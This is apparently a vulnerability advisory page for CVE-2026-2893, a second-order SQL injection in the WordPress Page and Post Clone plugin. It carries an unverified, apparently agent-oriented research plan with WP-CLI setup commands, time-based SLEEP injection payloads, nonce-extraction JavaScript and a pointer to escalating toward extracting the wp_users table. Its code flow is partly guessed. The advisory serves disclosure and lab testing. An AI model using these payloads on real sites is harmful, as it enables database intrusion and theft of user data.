CVE-2026-2893

Page and Post Clone <= 6.3 - Authenticated (Contributor+) SQL Injection via 'meta_key' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
6.4
Patched in
1d
Time to patch

Description

The Page and Post Clone plugin for WordPress is vulnerable to SQL Injection via the 'meta_key' parameter in the content_clone() function in all versions up to, and including, 6.3. This is due to insufficient escaping on the user-supplied meta_key value and insufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection is second-order: the malicious payload is stored as a post meta key and executed when the post is cloned.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=6.3
PublishedMarch 4, 2026
Last updatedMarch 5, 2026
Affected pluginpage-or-post-clone
Research Plan
Unverified

This research plan outlines the steps to exploit a second-order SQL injection vulnerability in the **Fast Page & Post Duplicator** (also known as Page and Post Clone) plugin. ## 1. Vulnerability Summary - **ID**: CVE-2026-2893 - **Vulnerability Type**: Second-Order SQL Injection - **Location**: `co…

Show full research plan

This research plan outlines the steps to exploit a second-order SQL injection vulnerability in the Fast Page & Post Duplicator (also known as Page and Post Clone) plugin.

1. Vulnerability Summary

  • ID: CVE-2026-2893
  • Vulnerability Type: Second-Order SQL Injection
  • Location: content_clone() function in the main plugin file.
  • Vulnerable Parameter: meta_key (retrieved from the database metadata of the post being cloned).
  • Cause: The plugin retrieves all metadata for a post and uses the meta_key values directly in a new SQL query (likely an INSERT or SELECT) without using $wpdb->prepare() or esc_sql(). Because the payload is stored in the database first (as a post meta key) and executed later when the cloning logic is triggered, this is a second-order injection.

2. Attack Vector Analysis

  • Entry Point 1 (Storage): The "Custom Fields" metabox in the WordPress Post Editor. A Contributor+ user can create a new post and add a custom field where the Name (the meta key) contains the SQL payload.
  • Entry Point 2 (Trigger): The "Clone" or "Clone Post" action link found in the Posts list (wp-admin/edit.php) or the admin bar.
  • Authentication: Authenticated (Contributor or higher). Contributors have the edit_posts capability, allowing them to create posts, manage custom fields, and trigger the plugin's cloning functionality.
  • Endpoint: wp-admin/admin.php (or admin-post.php), specifically the action that triggers content_clone().

3. Code Flow

  1. User Action: A Contributor creates a post and adds a custom meta field via wp-admin/post.php.
  2. Database Sink (Storage): WordPress core saves the malicious string into the wp_postmeta table in the meta_key column.
  3. Trigger: The user clicks the "Clone" link for that post.
  4. Processing: The plugin's cloning handler (likely hooked to admin_init or admin_action_...) calls content_clone().
  5. Vulnerable Logic:
    • The function retrieves meta for the source post: $meta_list = $wpdb->get_results("SELECT * FROM $wpdb->postmeta WHERE post_id = $id").
    • It iterates through the results: foreach ($meta_list as $meta) { ... }.
    • Inside the loop, it constructs a query using $meta->meta_key without escaping:
      $wpdb->query("INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES ($new_id, '$meta->meta_key', '$meta->meta_value')").
  6. SQL Injection (Sink): The database executes the injected SQL fragment contained within the $meta->meta_key variable.

4. Nonce Acquisition Strategy

The cloning action is protected by a WordPress nonce, usually appended to the URL in the Post List table.

  1. Create Target Content: Use WP-CLI to create a page containing a standard post list or simply navigate to the admin area.
  2. Navigate: Use browser_navigate to go to http://localhost:8080/wp-admin/edit.php.
  3. Extract from DOM: The "Clone" link is added to the row actions for each post.
  4. JS Extraction:
    // Find the link for the post we created (e.g., with title 'SQLi-Target')
    const cloneLink = Array.from(document.querySelectorAll('.row-actions .content_clone a'))
      .find(a => a.href.includes('action=content_clone'));
    cloneLink ? cloneLink.href : null;
    
  5. Nonce Parameter: The nonce is typically found in the _wpnonce or nonce URL parameter.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

Step 1: Storage (The Payload)

We need to insert a custom meta key into a post. We can do this via WP-CLI or the UI.

  • Payload: valid_key', (SELECT 1 FROM (SELECT(SLEEP(5)))a), 'value')-- -
  • Logic: This attempts to break out of the VALUES clause of an INSERT statement.

Step 2: Triggering the Injection

Send a request to the cloning endpoint using the http_request tool.

  • Method: GET
  • URL: http://localhost:8080/wp-admin/admin.php
  • Query Parameters:
    • action: content_clone (inferred from function name)
    • post: [POST_ID]
    • _wpnonce: [EXTRACTED_NONCE]

Step 3: Analysis

  • If the request takes > 5 seconds, the SQL injection is confirmed.

6. Test Data Setup

  1. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Create Source Post:
    wp post create --post_type=post --post_title='SQLi-Target' --post_status=publish --post_author=attacker (Capture the ID).
  3. Add Malicious Meta Key:
    wp post meta add [POST_ID] "meta_key_payload' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" "dummy_value"
    Note: If WP-CLI's post meta add escapes the key too well, the agent may need to use wp db query to insert it directly into wp_postmeta.

7. Expected Results

  • A successful http_request to the cloning URL will result in a server-side delay equal to the SLEEP() duration.
  • The plugin may create a cloned post, but the primary goal is the execution of the injected SQL.

8. Verification Steps

  1. Check for Cloned Post:
    wp post list --post_title='SQLi-Target (Copy)' (or similar naming convention the plugin uses).
  2. Database Error Log: If WP_DEBUG is on, check /var/www/html/wp-content/debug.log for SQL syntax errors which often confirm the injection point.
  3. Manual Query Verification:
    wp db query "SELECT * FROM wp_postmeta WHERE meta_key LIKE '%SLEEP%'" to ensure the payload was stored correctly before triggering.

9. Alternative Approaches

  • Payload Variation: If the sink is not an INSERT but a SELECT (e.g., checking if the key already exists), use:
    any_key' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Action Name Guessing: If content_clone is not the correct action, inspect the source code for add_action('admin_action_...') or add_action('wp_ajax_...') to find the exact routing identifier. Common aliases: ppc_clone, duplicate_post_clone.
  • Data Extraction: Once time-based is confirmed, escalate to UNION SELECT or Error-Based if the plugin outputs database errors to extract the wp_users table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.